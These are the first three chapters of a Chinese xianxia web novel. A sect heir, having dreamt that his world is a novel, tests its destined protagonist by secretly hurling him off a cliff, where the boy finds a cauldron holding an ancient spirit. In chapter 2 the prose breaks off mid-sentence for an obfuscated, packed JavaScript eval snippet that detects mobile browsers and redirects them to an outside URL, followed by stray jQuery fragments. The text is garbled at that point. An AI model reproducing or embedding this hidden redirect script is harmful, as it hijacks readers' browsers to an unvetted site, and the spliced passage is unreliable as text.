《男二成了龙傲天老婆》 1. 梦 正午时分，艳阳高悬，万千金光毫无保留地倾泻在殿阁之上，琉璃瓦反射着璀璨光芒，飞檐翘角仿佛镀上了一层流动的金边。 一名青衣仆从垂首从院中青石板经过，锦鲤在池中嬉戏，拍起细小水流。穿过中院，一片茂密的紫竹林映入眼帘。竹竿挺拔，色泽温润如紫玉，在灼灼日光下，折射出瑰丽的光泽。 还未入竹林，就隐约听见轰鸣的水声，浩浩荡荡，好似飞流直下。 仆从垂首敛目，恭敬地站在竹林边缘。运足真气，朝着竹林深处躬身抱拳： “启禀少宗主，宗主有请。” 只须臾，一道清冷平稳的嗓音传出，清晰地落入他耳中：“知道了。” 仆从离开后，一道颀长身影自朦胧水汽中缓步走出，他仅着一身素白中衣，衣物被水浸透，紧贴其身，勾勒出流畅坚韧的线条。墨色发丝贴在冷白的后颈，像是一匹被墨汁浸染过的绸缎。 时值三月，春寒正浓，虽是正午日光最盛之时，山间空气里仍裹挟着未散的沁骨寒意，他却仿若不觉，随手拿起放置在旁的毛巾，擦拭着脸上晶莹的水珠。 青年眉骨生得极为优越，眉如画眼若勾，唇瓣好似桃花浸雪，但此刻眉心却微微蹙起，压着一层化不开的阴郁。 这事情要从一个月前说起。 一个月前，他梦到此间天地，浩渺宇宙，竟不过是他人掌中一卷话本。他所坚信的一切，他的骄傲，他的宗门，甚至这个世界的运行法则，都只是被书写好的剧情。 而这话本的主角，不是一个天赋绝伦的仙门子弟，而是一个叫做石蛰的、出身微末、天赋寻常的年轻人。 石蛰出身凡俗村落，灵根不过是普通的雷灵根，资质平平无奇，却总能在绝境中逢凶化吉：被同门欺凌时，会偶得上古传承；误入凶地时，能捡到逆天法宝；就连被妖兽追杀，都能随手摘到万年灵药反杀巨兽。 所有的“巧合”堆砌在一起，加上他的苦修，终将一个草根凡人推上了俯瞰众生的巅峰，而他云清徽，乃至五大门派，都成了衬托主角光芒的背景板，最终落得个门派覆灭、身死道消的下场。 他偶尔窥见“评论区”，那些人未有丝毫对宗门的尊重，反而为主角一次次暴打各大门派天之骄子拍手叫好，还戏称石蛰为“龙傲天”。 初醒时，云清徽道心几乎震荡。 苍云大陆以修行为主，以修者为荣，可以说上至王公贵族，下至贩夫走卒，无不以修者为尊，云清徽自己就是五大修仙门派之一，小玉仙宗的少宗主。 他从小天赋异禀，六岁引气入体，十四岁筑基成功，二十五岁结丹，修为冠绝同辈，连长老们见了都要赞叹一句“仙宗未来之光”。天才二字，仿佛生来便是为他而造，他也早已习惯了站在云端，以为自己注定是天道垂青的骄子，是这方天地的主角。 是以做到那个梦时，他二十余年苦修建立的认知遭受了前所未有的冲击。 但云清徽终究苦修多年，短暂的迷茫与震怒后，他强行压下了翻涌的心绪，暗中派人依照梦境提示的信息去查探。 几天前，消息传回——石蛰真的存在！ 他此刻正背着简陋的行囊，跋涉在前往青云山的荒路上，与梦里的轨迹分毫不差。 ...... 云清徽穿上衣服，拂袖起身，周身真气如流泉般涌动，湿发上的水珠尚未坠地便化作袅袅白汽。墨发被他以一根白玉簪束起，扶正发冠的手指缓缓落下，终于露出一双沉静的眼。 眸色深如寒潭，映着竹林疏影，瞳孔深处凝着一层晦暗的光。 主角是么？ 他倒要看看，那个石蛰，是不是像话本里写的那样，真的能“次次化险为机”。 —— 山峦巍峨连绵，云雾缭绕，主峰直插云霄，如巨笋刺破苍穹。群山环抱之中依稀可见一座白玉殿宇依山而建。 飞檐斗拱，层叠而上，琉璃瓦在云雾间隙透下的天光中闪烁着清冷辉煌的光泽，如若等候凡人诚惶诚恐的叩拜。山门入口，左右两座高逾数十丈的巨大石阙环拱成一座石门，上刻三个遒劲大字： 青云山。 此刻，青云山那巨大的石拱山门之前，足以容纳万人的试剑广场上，已然汇聚了数以千计怀揣仙梦的年轻人。 苍云大陆以修仙为荣，城镇里小门派林立，大多只传授些引气入体、锻炼体魄的粗浅法门。唯有进入如青云山这般有完整传承的宗门，才算是真正踏上仙途。否则，若终生屈居于乡野小派，恐怕连筑基都难以达成。 青云山每三年开通一次收徒大会，要求年纪都是不超过二十五的年轻人，这或许是大多数凡人一生一次最接近求仙问道之途的时刻。 人陆陆续续抵达，广场上声音嘈杂，几名青云山弟子站在边上维持秩序，他们的目光不时扫过人群，仔细打量着每一个年轻人，仿佛在默默评估这些年轻人的资质与潜力。 一个年轻女孩偷偷打量着边上穿着制式青袍、负剑而立的青云山弟子，一边小声地说：“青云山的弟子看起来好威风哦，那是我们也能进青云山就好了。” “你们说今年有多少人能通过试徒大会？” 一个二十上下，身材壮实，面容憨厚的男子笑了笑，说道：“能不能通过都是看个人本事，我听说试徒大会最重要的就是测试修行者的毅力，只要我们道心坚定就能成功入选！你说是吧，石蛰？” 叫做“石蛰”的少年也正晃神地看着广场内形形色色的参赛人，眼里皆是好奇，闻言慌忙回头，重重地点了点头。 “嗯，我相信我们都能够通过测试，一同成为青云山弟子的！” 女孩被两人自信逗乐，笑了出来：“那就好了。” 几步开外，一个身着锦缎华服、被两个健仆模样的男人簇拥着的少年，恰好瞥见了角落这寒酸三人组，他神色一顿，嘴角勾起一抹讥诮，忽然大摇大摆地朝角落的三人走了过来。 “喂，石蛰，没想到你还真有本事走到这。” 他目光在二男一女三人身上穿着的粗布服装上扫过，石蛰下意识地将破了洞口的布鞋往身后藏了藏，很快又露了出来，仰头和他对视。 男人冷笑一声，微扬着下巴傲慢地说：“这又是你从哪个穷乡僻壤扒拉来的朋友？呵，也是，就凭你那点微末本事和出身，也只配认识这种上不得台面的泥腿子了。” 石蛰的眉头立刻蹙紧，少年稚气未脱的脸上染上清晰的不悦。 他无父无母，自幼被弃于街头，是镇上开武馆的杨师傅心善，将他捡回去一口饭一口水地拉扯大。他从小就在武馆里打杂讨生活，是靠吃着百家饭、穿着百家衣才活下来的。而眼前这个嚣张跋扈的少年，正是镇上有名富户家的少爷，王鹏。 王鹏和石蛰在同一家武馆学习，但待遇却是天差地别，石蛰不知道担当了多少回王鹏的沙包，幸好他也争气，通过了武馆的测试得到了试徒大会的名额。而眼前的王鹏是早已内定，石蛰并不意外见到他。 但是—— 少年挺起胸膛，站定在王鹏面前，嗓音清朗： “王鹏，你从前在武馆侮辱我就算了，别想侮辱我的朋友！” “哦？那我就侮辱了怎么着，你想怎么样？”王鹏一点都不怕他，用力用手肘肘了石蛰胸口一下，满脸挑衅地说。 “石蛰......” 石蛰伸手让两位好友别担心，一张脸没有任何退缩地道： “我记得青云山最厌恶人无故喧哗、滋事斗殴，我确实不能拿你怎么办，但如果你继续挑衅我和我的朋友，我就拿命跟你在广场上打起来，到时候我跟你都会被逐出试徒大会。” “我一条烂命，哪怕今天进不了青云山回乡下也没关系，但是你这样的富贵命，有钱有势，就差不能长生，你就因为跟我争一时之气入不了修仙大道也无所谓么？” 听到这话，王鹏果然踌躇了起来。 他身后两个健仆也劝了起来：“少爷，算了算了。” “哼，饶你们一次！”王鹏愤愤甩袖离开。 等几人走出，陆铃兰才担忧地说：“你这么得罪他没事么？他不会怀恨在心吧？” “没事的。”石蛰忽然笑起来，露出两颗尖尖的小虎牙，少年眉眼带着几分狡黠： “哪怕我今日入不了青云山门回去后被他刁难，至多我离开就是了，我都十七岁了，还怕出去后养活不了自己么？” “就是就是，要真那样就到我们村子里，我家里......” “不说了——”石蛰忽然道：“试徒大会开始了！” 一声巨大鼓声后，一位青云山弟子走了出来。 “试徒大会正式开始，第一场测试，说出你们看到的是什么。” 说罢，空中出现一个幻影，幻影中逐渐现出画面。 “不得交头接耳，不得用口型手写传递答案，镜像过后，每人走到边上的青云山弟子那用手指握住灵器，脑中写出你的答案，不得口述。” 之前有未通过试徒大会的人说过，这是一种将人脑中所想直接传递给法器拥有者的法宝，只有法器拥有者知道他脑中想法，这样就能避免外泄答案。 看到测试这么严谨，大家都紧张了起来。 这时候，幻境动了起来，空旷的画面中有水流流淌有草地大树，随着咚咚流水声，一个黑色物体飞快从一块大石头后蹿过。 幻境突然熄灭。 “好，现在可以回答了。” 众人顿时沸腾起来—— “禁止喧哗！” 一声喝令，场上再次安静，石蛰飞快看了眼两位好友，眼中露出担忧。陆铃兰和陆知棠冲着他点点头，让他不要担心。 石蛰这才放心，看大家还在犹豫中，主动走向最近的一位青云山弟子。 那弟子脸上无喜无悲，只是冷漠地看着他，石蛰面上微红，深吸了口气，握住法器一端。一股说不出的感受冲上他的大脑，他还未来得及感受，身体就再次平静下来，不敢多想，他在脑中无声地诉说他的答案。 说完之后，他握着法器的掌心忽然一热，再伸手，掌心出现一个红点。 什么意思？ 对还是不对？ 青云山弟子没有说话，石蛰只能茫然走开。 很快有人接替了他的位置，石蛰看到有的人是红点有的是绿点。 “啊！” 场上有人尖叫，众人慌忙回头，看到两个年轻男人倒在地上，一名青云山弟子人至空中，满目不悦： “违反规则，逐出山门！” 说罢，两人就被一阵风卷至空中，然后甩了出去。 “......” 石蛰不由打了个寒颤，又忍不住对青云山升起无限倾慕。 约莫半炷香后，所有人都完成回答，此前青云山弟子才重新道： “掌心为绿点者，离开。” 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石蛰握紧拳头道：“连走孤峰都不敢，今后如何面对艰难修行，如今唯有克服内心恐惧！” 身旁人全都愁云惨雾，话是这么说...... “我来！”这时，一个身材高大的青年第一个走了上去。 那人晃晃悠悠地踏上摇晃的铁链，身形犹如风中孤叶般飘零，走出几步后忽然一阵风刮过，他慌乱中双臂乱舞，草鞋在铁索上打滑，下一刻整个人如同断线风筝般坠落。惨叫声刺破长空，翻涌着的云雾将他吞噬。 广场上一片死寂，所有人的目光齐刷刷转向石阶上的青云山弟子，那些修士却依旧负手而立，连衣角都未动分毫。 有人喉咙里发出呜咽，颤颤巍巍地开口：“不是说……会救人吗？！” 眼前这一幕显然让许多人崩溃，有人颤抖着扯下木牌，大喊：“我不试了我不试了……这根本不是人能过的关！” 广场上一片嘈杂，青云山弟子也不管。 “石蛰......” 石蛰回头冲两位好友笑了笑，深吸了口气踏上铁链，目光坚毅地看向前方。 陆知棠道：“铃兰我们也走吧。” “......”陆铃兰死死地闭上眼睛，稍许后重新睁开，眼底已然一片清明。 “嗯，我们也上吧！” 一串求仙问道者晃晃悠悠地走在铁链上，肃杀山风刮过，耳边时常响起有人坠落的尖叫人，密密麻麻的人群不消片刻变得空旷。 风呼呼灌入耳朵，石蛰心中默念引气入体的口诀，整个人如一棵扎根岩缝的老松，任凭暴雨摧残自岿然不动。 走到铁链那头已不到三成的人，再到广场只余一成。 方才还望不到头的人群，现在稀稀拉拉地散落在广场各处。 石蛰回到广场后立刻回头，“啪嗒”一声，他肩膀被人打了一下。 “怎么，在找人？” 身后陆铃兰和陆知棠笑容灿烂。 石蛰忍不住欢呼出声：“太好了！” 这时青云山弟子走出道：“上午试炼结束，午饭过后进行第三场测试。” 这时有青云山弟子走出，给大家送饭。 盒盖打开时，一股难以言喻的清香瞬间弥漫开来，勾得人肚中馋虫大作。尤其是那米饭，颗粒饱满圆润，色泽晶莹如玉，蒸腾着氤氲的热气和浓郁的灵气。 众人早已筋疲力尽，无论是身体还是精神都透支到了极限，此刻也顾不得许多，抓起碗筷便狼吞虎咽起来。 石蛰也端起了自己的那一份。米饭入口，竟是异常软糯甘甜，无需费力咀嚼便化作一股温润的暖流滑入腹中。紧接着，一股精纯平和的灵气自胃处缓缓化开，迅速流向四肢百骸，所过之处，疲惫和酸痛如同被温水洗涤，迅速消退。 “这米——” 石蛰惊叹，陆知棠喃喃道：“果然是仙家气魄。” 就连普通吃的米都这么好，真正入门之后，该有多少好宝贝啊，在场众人无不憧憬。 “哼，没见识的穷鬼。”唯有王鹏冷哼一声，他家是镇上首富，家族出过不少修真者，什么灵石灵丹灵米他从小当零嘴吃，也就这等没见过世面的，会大惊小怪。 旁边人撇撇嘴，没理会。陆铃兰目光扫向广场，似乎在衡量哪些人会留下来，她飞快扫过一人，正要挪开，忽然猛地转了回去！ “那个人——”陆铃兰低下头，微红着脸，小声地说：“长得好好看。” “哪个？” 石蛰和陆知棠抬头，顺着她的目光望过去，才撇到，就愣住了。 那人穿着半旧的月白粗布长衫，衣摆沾着赶路时的尘土，腰间草草系着褪色的青布绦，瞧着与在场求仙的寻常人无异。唯有那张脸，在一片灰扑扑的人群里如碎玉投进深潭，教人挪不开眼。 他的肌肤是冷的白，像初雪覆于枝头，墨玉般的长发被一根简单的木簪松松束起，发丝垂落，宛若绸缎。微垂的眉目如远山含黛，一点唇色点缀，像是水墨画上不经意洇开的桃色一笔。 像是注意到他的视线，男人冲着石蛰回望了过来，桃花眼眼波含笑，石蛰耳根瞬间冒出一层薄红，心虚地收回视线。 自己这么盯着人看，确实不礼貌。 2. 龙傲天奇遇记 青年样貌在众人之中着实出众，不止石蛰他们注意到了，其他人也看到了。 王鹏大摇大摆走向青年，抬着下巴，轻慢地说：“你叫什么名字？” 青年目光从王鹏身上缓缓扫过，一双有如朝露般澄澈的眼睛带着怪异： “我为什么要告诉你？” 嗓音清脆，如金石相击。 “你知道我是什么人么？”王鹏恼羞道，低声威胁：“青云山有我族中之人，就算你进了山门，我也能让你吃不了兜着走！” 青年侧首：“那又如何？” “你——” “喂，王鹏——”一道嗓音忽然从旁响起。 石蛰指了指边上将目光投过来的青云山弟子，用口型说道：“禁止喧哗。” “......”王鹏咬着牙离开了。 等人离开后，石蛰小声地说：“你没事吧？” 云清徽默默摇头。 从匿名混入试徒大会后，他就一直在等待接近石蛰的时机，刚才的人恰好给了他机会。云清徽柔和的目光看向石蛰，温声道： “谢谢你。” “不用客气，我也没做什么。不过刚才那个王鹏很是小肚鸡肠的，你以后要小心他。” “我知道了。” “......”顿了顿，石蛰又道：“我叫石蛰。” 漂亮的青年微微一笑：“我叫云磬。” 陆铃兰从身后窜了出来：“云磬是么？我叫陆铃兰，这是陆知棠。” 青年一一打招呼：“你们好。” 几人还想再说什么，青云山弟子走出：“午休结束，第三场测试开始，第三场测试在后山进行，我们先跟我来吧。” 众人噤声，跟随来到后山，山门口，青云山弟子又道：“这山里有许多猴子，每个猴子脖子上都挂了一个铃铛，你们四个人一组，每组拿到一个铃铛就算通过，限时两个时辰，若想放弃，捏碎木牌即可。” “现在你们可以组队了。” “四个人，正好！”陆铃兰飞快地说： “那就我们四个人一队了，好么，云磬？” “好啊。”云清徽没有意见，四个人领了木牌，向山里走去。 一路上，众人也是叽叽喳喳说个不停。 云清徽得知，陆铃兰和陆知棠来自同一个村庄，和石蛰是在路上碰到的，因为志气相合就一路同行。石蛰今年十七岁，来自淳安镇，陆铃兰和陆知棠来自平湖村，陆铃兰十八岁，陆知棠二十一岁。 “云磬，你呢？” “我？”云清徽眼睫微垂，嗓音轻轻柔柔： “我来自宁远镇，今年二十一岁。” “哎，那你就跟知棠一样，是我们大哥哥了......” 众人一路说话，进入了山里。 “有猴子！”忽然，石蛰压低声音，手指指向左前方一棵大树的枝桠。 只见一只棕毛灵猴正蹲在那里，颈间一枚小巧的铜铃在枝叶间隙闪着微光。那猴子极其机敏，发现被注视的瞬间，“吱”地叫了一声，身形一晃，便化作一道灵活的棕影在枝杈间飞速窜动。 “快追！”陆知棠低吼一声，四人立刻分散开试图包抄。 石蛰反应最快，一个箭步冲上前，借着树干发力，猛地向上跃起，手臂疾伸，直抓向那猴子灵活摆动的长尾！然而那猴子仿佛背后长眼，尾巴灵巧地一甩，轻易躲开，反而顺势荡到另一根更低矮的树枝上，对着石蛰龇牙咧嘴，发出嘲弄般的吱吱声。 陆知棠从另一侧包抄过来，试图用外衣去罩住猴子，可那畜生速度太快，爪子一勾树干，轻盈地翻了个跟头，不仅躲开了衣服，还顺势蹬落几片树叶掉在陆知棠头上。 伤害性不高，侮辱性极强。 云清徽也从另一棵树的枝杈上悄然逼近。他看准那猴子荡过来的轨迹，双足在树枝上猛地一蹬，身形如离弦之箭般疾射而出，眼看着就要抓住猴子。 但他想起方才石蛰陆知棠二人动作，在空中的手顿了顿，正好猴子勾住了更高处的一根细枝，身体借力向上猛地一缩，一条腿狠狠地踹上云清徽的背。 云清徽顺势坠下，又在地上打滚了两圈才勉强停稳。 “你没事吧？”石蛰跑上来扶起他，恨恨地说：“那猴子太狡黠了！” 云清徽板着脸，深沉地点了点头。 那猴子戏弄了四人一番不说，还发出吱吱的叫声，引来了附近的其他猴子。 三四只、七八只……越来越多的灵猴从树冠中探出头，它们似乎早已习惯外人闯入，颇为默契地从不同方向对四人进行骚扰和包抄。尖锐的爪子不时地抓向四人，不多时，四人手臂、后背、甚至脖颈，留下道道火辣辣的血痕。 如此缠斗了约莫半个时辰，他们非但一无所获，体力反而消耗巨大。 陆铃兰喘着气道：“这猴子也太灵活了！” “而且它们还懂包夹。” 石蛰歇了口气道：“青云山的猴子，果然非同寻常。” 就在这时，那只最初挂着铃铛的猴子再次出现，冲着四人挠头抓耳，肆意嘲讽。 陆铃兰：“......啊啊啊啊我不行了！” 她猛地向猴子扑了过去！ “小心！”三人连忙追上。 猴子引着他们在林间穿梭，七拐八绕，周围的树木渐渐稀疏，地势开始变得险峻。突然，眼前豁然开朗，那猴子竟将他们引到了一处断崖边上，下方云雾弥漫，深不见底。 “小心！是悬崖！”陆知棠急忙大喊，刹住脚步。 那猴子灵活地从悬崖边上的树杈上越过至崖对岸，还回头冲着几人做了个鬼脸。 是的，一只猴子做的鬼脸。 “......” “算了，我们还是回去吧。”陆知棠安抚道：“这儿太危险了。” “好吧。”陆铃兰也知道没有希望，只能回去。 云清徽微微侧首，看着低头整理自己衣裳的石蛰。 经过方才与那群灵猴的一番缠斗，石蛰的模样着实有些凄惨。他那身本就洗得发白的粗布衣裳，此刻更是被猴爪撕扯出好几道破口，尤其是肩头和手臂处，布料耷拉着，露出底下被划出红痕的皮肤，细小的尘土和草屑沾满了衣襟和袖口，着实狼狈。 他额前的黑发被汗水濡湿，两颊泛着红晕，不轻不重地喘着气，唯有一双黑亮的眼睛迸射出不服输的光芒。 云清徽又想起了那个梦。 主角是么？ 若你真是天道之子，就证明给我看。 云清徽指尖划出一点光芒，在石蛰脚下一弹，石蛰一个踉跄，一个模糊的、快如闪电的黑影往自己扑来，他睁大眼睛，还未来得及发出声音，一股巨大的、完全超出预料的力量就抓住了他的后背，紧接着，他整个人如断线木偶，被那股力道猛地甩出了悬崖边缘！ 啊啊啊啊啊—— 那一刻，少年的嗓子像是被什么东西堵住，无法发出任何声音，只能眼睁睁地看着崖边那棵虬劲的老松在他急速下坠的视野中越来越小。 冰冷的罡风之中，木牌在少年腰间剧烈颤抖，然而像是有什么东西“安抚”了它，最终归为平静，从少年腰间脱落，随风而去...... “这猴子也太难抓了，我们得想个办法......”陆铃兰一回头，猛地喊出： “石蛰呢？” 另外两人恍然回首，果然不见石蛰人影。 “石蛰？”陆知棠脸色一变，急忙上前几步，朝着四周呼喊：“石蛰！你在吗？回答我！” 回应他的只有呼啸的山风和猴子隐约的叫声。 “他人呢？刚才明明还在的！”陆铃兰慌了神，声音带着哭腔，焦急地四处张望。 云清徽眉头微蹙，目光快速扫过周围，脸上适时地浮现出恰到好处的担忧与困惑。他沉吟片刻，语气带着安抚的意味开口道： “别急，或许是他发现了猴子的踪迹，追远了。又或者——”他顿了顿，声音放缓，掩掉眸中光芒： “即便……即便真出了什么事，他手边还有保命的木牌，只要及时捏碎，青云山的仙师定会立刻感知，前去救援的。” 闻言，两人紧绷的脸色稍稍缓和了一些，陆知棠点了点头，努力压下心中的不安： “云磬说得对。石蛰机灵，不会有事的。我们现在慌也没用，这山林太大，盲目寻找反而可能误事。” “我们得继续往前走，想办法弄到一个铃铛，这才是通过测试的关键。如果……如果石蛰平安出来，我们拿到了铃铛，也算我们四人一起通过了，他还能继续参加接下来的测试。若是我们全都失败被困在这里，才是真的辜负了他。” 陆铃兰咬着嘴唇，眼圈泛红，但看着两位同伴，也知道这是目前最理智的选择。她最终重重地点了点头，忧心忡忡地继续向山林深处走去。 —— 冰冷的罡风如同刀子般刮过石蛰的脸颊，他的身体不停往下坠，一路不知道撞到了多少崖壁伸出的茂密树冠，枝叶断裂的脆响和他骨头碎裂的闷声不间断地响起，巨大的冲击力让他下坠的速度骤然一缓，却也带来了撕心裂肺的剧痛。 他如同一个破败的玩偶，被树枝狠狠弹开，继续向下坠落，最终重重砸在崖底堆积的厚厚腐叶上。 “噗——！” 一口滚烫的鲜血猛地从石蛰口中喷出，染红了胸前的衣襟和身下的枯叶。他感觉全身的骨头仿佛都碎了，五脏六腑像是被震移了位，每一次呼吸都牵扯着钻心的痛楚。 要死了吗…… 他短暂的人生就要结束了么...... 冰冷的死亡气息如同潮水般将他淹没。 ...... 不！ 不能死！ 我绝不能死在这里！ 我还没有踏上仙途，还没有出人头地，还没有报答杨师傅的恩情……我绝不能就这样无声无息地烂在这崖底！ 强烈的求生欲硬生生吊住了他即将溃散的神智，石蛰艰难睁开一条细缝，雪水流进他的眼睛，痛得他犹如被烈火焚烧，他的腿已经断裂，森白的骨头刺破了皮肉和裤管，暴露在空气中，无法行走，他用手指无力地抠抓着身下的泥土，试图寻找一丝渺茫的生机。 忽然，他的指尖触碰到了一个冰冷、坚硬、约莫巴掌大小的物件。那东西半掩在枯枝烂叶之下，触手冰凉，似乎并非天然岩石。 石蛰朦胧的意识让他抓住小鼎，鲜血从他指尖流下，落在了那漆黑的小鼎之上。 那几滴鲜血竟如同被海绵吸收般，瞬间渗入鼎身！下一刻，小鼎猛地发出一阵低沉的嗡鸣，鼎身上那些晦涩的符文骤然亮起，散发出幽暗的光芒。 石蛰的意识中出现了一个模糊的白须老人形象，他似刚刚睡醒，语气难掩惊喜： “等了不知多少岁月，终于有人以血契唤醒了老夫……等等，怎么是个才勉强摸到炼气门槛的小毛孩？！！” 摸清石蛰的底，老人语气瞬间嫌弃了起来。 石蛰的意识本就恍恍惚惚，此刻更是如同被一股力量拉扯，让他大脑剧痛，他看着吹胡子瞪眼的老人虚影，艰难地开口：“你……你是谁？” 白须老人挺直了腰板，下巴扬得老高，声音洪亮如钟，带着一种自觉的骄傲： “小娃娃听好了！老夫乃九虚洞通天洞主，九虚十八峰公认的峰主，天邪剑下第二人——陆通！” 他报出名号时，虚影都激动得晃了几晃，仿佛这些名号理应惊天动地。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396574|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，石蛰只是茫然地眨了眨模糊的眼睛，剧痛让他根本无法思考，只是下意识地、老实地摇了摇头： “没……没听过……” “什么？！你竟没听过？！” 陆通老人像是被踩了尾巴的猫，虚影剧烈波动起来，气得胡子都快翘到天上去了：“岂有此理！岂有此理！现在的后辈小子竟然如此孤陋寡闻！真是气煞老夫！” 他兀自气哼哼地在边上嘟囔：“真不想救你这小子！但，唉！错过你，不知道要再过几个百年才能碰上下一个倒霉蛋……罢了罢了！” 他像是做出了极其艰难的决定，重新看向意识即将再次涣散的石蛰，语气忽然带上引诱：“喂！小子，你想不想活？” 石蛰濒临死亡，听到这话，无力吐槽： “不想活……难道我还想死么？” “......” “这臭小子！”陆通咬着牙道： “没办法了，先用着吧。小子，你放松心神，什么都别想！否则大罗金仙来了也救不了你！” 石蛰此刻已是强弩之末，全靠毅力支撑，他也不知道自己放松下来会不会死，但死马当活马医，他只能让自己放空。就在他完全放弃抵抗的瞬间，一股温和却无比庞大的奇异能量猛地从那黑色小鼎中涌出，迅速包裹住他破碎的身体。 那能量如同久旱时的甘露，瞬间滋补了他破碎的内脏，火烧火燎的剧痛如同退潮般消散，取而代之的是一种难以言喻的温暖和酥麻，石蛰能感觉到自己的生命力正在快速恢复。 “好了！”一道声音在他脑中响起，老人抚着白须道：“恢复到这种程度就差不多了。” 石蛰缓缓睁开眼睛，那股力量消失后，他的身体再次感到痛楚，但已在能够忍受的范围内，他动了动手，手臂无碍，又动了动腿——哎，腿还是断的。 陆通看向朝自己投来疑问目光的石蛰，不悦地说： “什么事都要靠别人，年轻人就只想着不劳而获。” 石蛰无奈，那他也不知道怎么“劳”啊。 “前辈。”面对救命恩人，石蛰语气郑重了许多： “感谢前辈救命之恩，前辈怎么会在这个鼎里？” “哎，都是老黄历了，就不说了。”陆通无意回顾往事，挥挥手道： “你碰到我是你的造化，我这鸿蒙宝鼎可是仙器，如若入世，不知道多少元婴老头要打破头来抢，怎么也落不到你这种炼气小辈头上，今日偏偏便宜了你。” 石蛰非常诚恳地说： “前辈，若你想要元婴大能接受宝鼎，我可以将您献给青云山仙师。” “别别别——”陆通没料到他这回复，连忙道： “我要什么元婴老头啊，他们给我提鞋都不配！” 石蛰只是质朴，不是愚笨，他见陆通这么急切拒绝模样，眉头微微蹙起，低声道： “前辈，你是人还是这宝鼎幻化的精怪？你不肯见元婴大能是不是害怕自己被发现？你这鼎是不是有古怪，你用灵气帮我修补身体，是不是想要从我身上获得什么？” “是不是到了最后，你会占据我的身体，将我完全变成你的傀儡？” 开玩笑，在修真大陆长大的石蛰从小就不知道听了多少邪修蛊惑修真新人，利益诱惑最后夺舍成功的故事，这类话本村口二狗哥最喜欢讲了。 “放屁！” 陆通重重呸了一声，唾弃道：“老夫是这种人么？！” 石蛰欲言又止。 关键是他看着真的像！ 读出石蛰的眼神，陆通一阵头疼，怀疑自己是不是做错决定了，半晌，他叹了口气，语气变得有些萧索和无奈： “罢了罢了，老夫实话与你说了吧。” “老夫在一场惊天大战中，身毁神灭，只余一缕残魂于机缘巧合中进入这鸿蒙宝鼎之中，如今已和宝鼎绑定，一损俱损，一荣俱荣。只要不断激发宝鼎的潜能，让它变得强大，我的元神也能逐渐壮大、凝实，直至有朝一日，重塑肉身！” “所以，我根本不需要你小子的破皮囊，老夫自己的通天圣体不知道比你这凡胎□□强上多少万倍！” 哼，谁会馋你一个破炼气的□□！ 这话石蛰无法苟同，他道： “前辈，我才十七岁呢。” “十七岁怎么了？谁没有十七岁过啊，我还一百十七岁二百十七岁过呢，谁问你了！” 陆通吹胡子瞪眼，满脸愤愤，可见年纪在修真界也是一大痛点。 石蛰无意揭穿他，转开话题道： “既然如此，我就相信前辈了，对了，前辈，我还在试徒大会的测试中，必须立刻回去，我这腿......” “回去干嘛啊？”陆通道：“这是青云山是吧？青云山有什么法宝能够比这鸿蒙宝鼎更厉害的，这崖底虽然空间狭隘，但也长了不少灵果，供你勉强饱腹，等筑基成功，你就不需要进食了。” “你在这崖底，修为一日千里，根本没必要出去。况且你现在出去，被人发现宝鼎，到时候你保得住我么？” 石蛰心意动了动，但随即摇摇头，道： “不行的前辈，我和人约好了一同进入青云山，而且我是突然被野猴扔下来的，我朋友可能都不知道，此刻一定非常担心，我必须向他们报平安。” “你......” 石蛰坚持道：“我必须要出去，就算今天出不去，等腿养好了，过几日也要出去。” “你......”陆通看出他的决心，无奈道：“行吧行吧，既然如此，你先静下心来，按照最基础的引气入体法门运转功法，借助宝鼎尽快修复你这身破烂伤势，尤其是那条腿！” “多谢前辈！” 石蛰缓缓阖上了眼睛。 3. 入门 一个时辰转眼即逝。 后山出口，陆铃兰三人正焦急等待。 “石蛰，石蛰还没出来么？” 随着时间的流逝，他们对石蛰还“安然无恙”的信心不断丧失，心中又是害怕他出事，又是猜测他是不是早就被淘汰了。 云清徽沉声不语。 将石蛰打落悬崖后，他怀着弥补的心很快抓了一只猴子获得了铃铛，时间眼看就要到点，如果石蛰没有出现，又或者已经死了，就说明—— 所谓的天道，所谓的气运之子，并不存在！ 青年漂亮的脸上流过冷光。 就在这时—— “铃兰，知棠，还有云磬，我回来了！” 耳边传来熟悉的声音，云清徽猝然扭头！ 石蛰一瘸一拐地从幽深的林间走出。 他的模样简直狼狈到了极点，那一身粗布衣裳几乎成了破布条，沾满了泥土、草屑和几处干涸发暗的血迹，他的头发也凌乱不堪，脸上带着几道刮痕，似乎受伤颇为严重，但奇怪的是，他精神看起来还不错。 云清徽眸色一黯。 “石蛰！！”陆铃兰第一个尖叫起来，立刻冲了过去，嗓音紧张到发抖：“你吓死我了！你跑到哪里去了？！你怎么弄成这个样子？！” “我——”石蛰脏兮兮的脸蛋露出一个傻乎乎的笑容，摸着脑袋道： “我被一只猴子抓起来扔到一个坑里，花了好大的劲才爬上来，幸好还赶得上。” 他自然不能说是被扔下了悬崖，毕竟从坑里爬起来还能解释，从崖底出来就很难说清了。 两人看他狼狈模样，不疑有他，只连连道：“幸好你没事！” “是啊。”石蛰道：“对了，你们拿到铃铛了么？” 他虽然努力赶到，但猴子是来不及抓了。 陆铃兰笑着摊开掌心：“在呢。” “太好了！”石蛰惊喜喊出。 “是啊，太好了，都太好了！” 四人没时间多解释，赶着时间将铃铛交给青云山弟子，青云山弟子接过铃铛，一颔首，算是认同了他们的通过。 等到两个时辰过去，拿着铃铛回来的只有二十余人，有的整支队伍失败，有的拿到了铃铛但有队员中途被淘汰，但对于青云山来说，一批大会有二十多人通过已经不少了。 那名负责试徒大会的青云山弟子走出道： “你们就算通过了初步测试，一同成为了青云山外门弟子，接下来一段时间，会有弟子指导你们修行，现在先去你们住的地方。” 他说完，扭头要走，通过测试的王鹏追了上去，他不知道递给了对方什么东西，笑嘻嘻地问： “不知师兄如何称呼？” 那人睨了他一眼，说道：“我叫张逸。” “张逸师兄好，师弟我叫王鹏，是淳安镇王家的人，我叔叔也在青云山修行，他叫......” 石蛰和陆铃兰几人对视一眼，默默摇头。 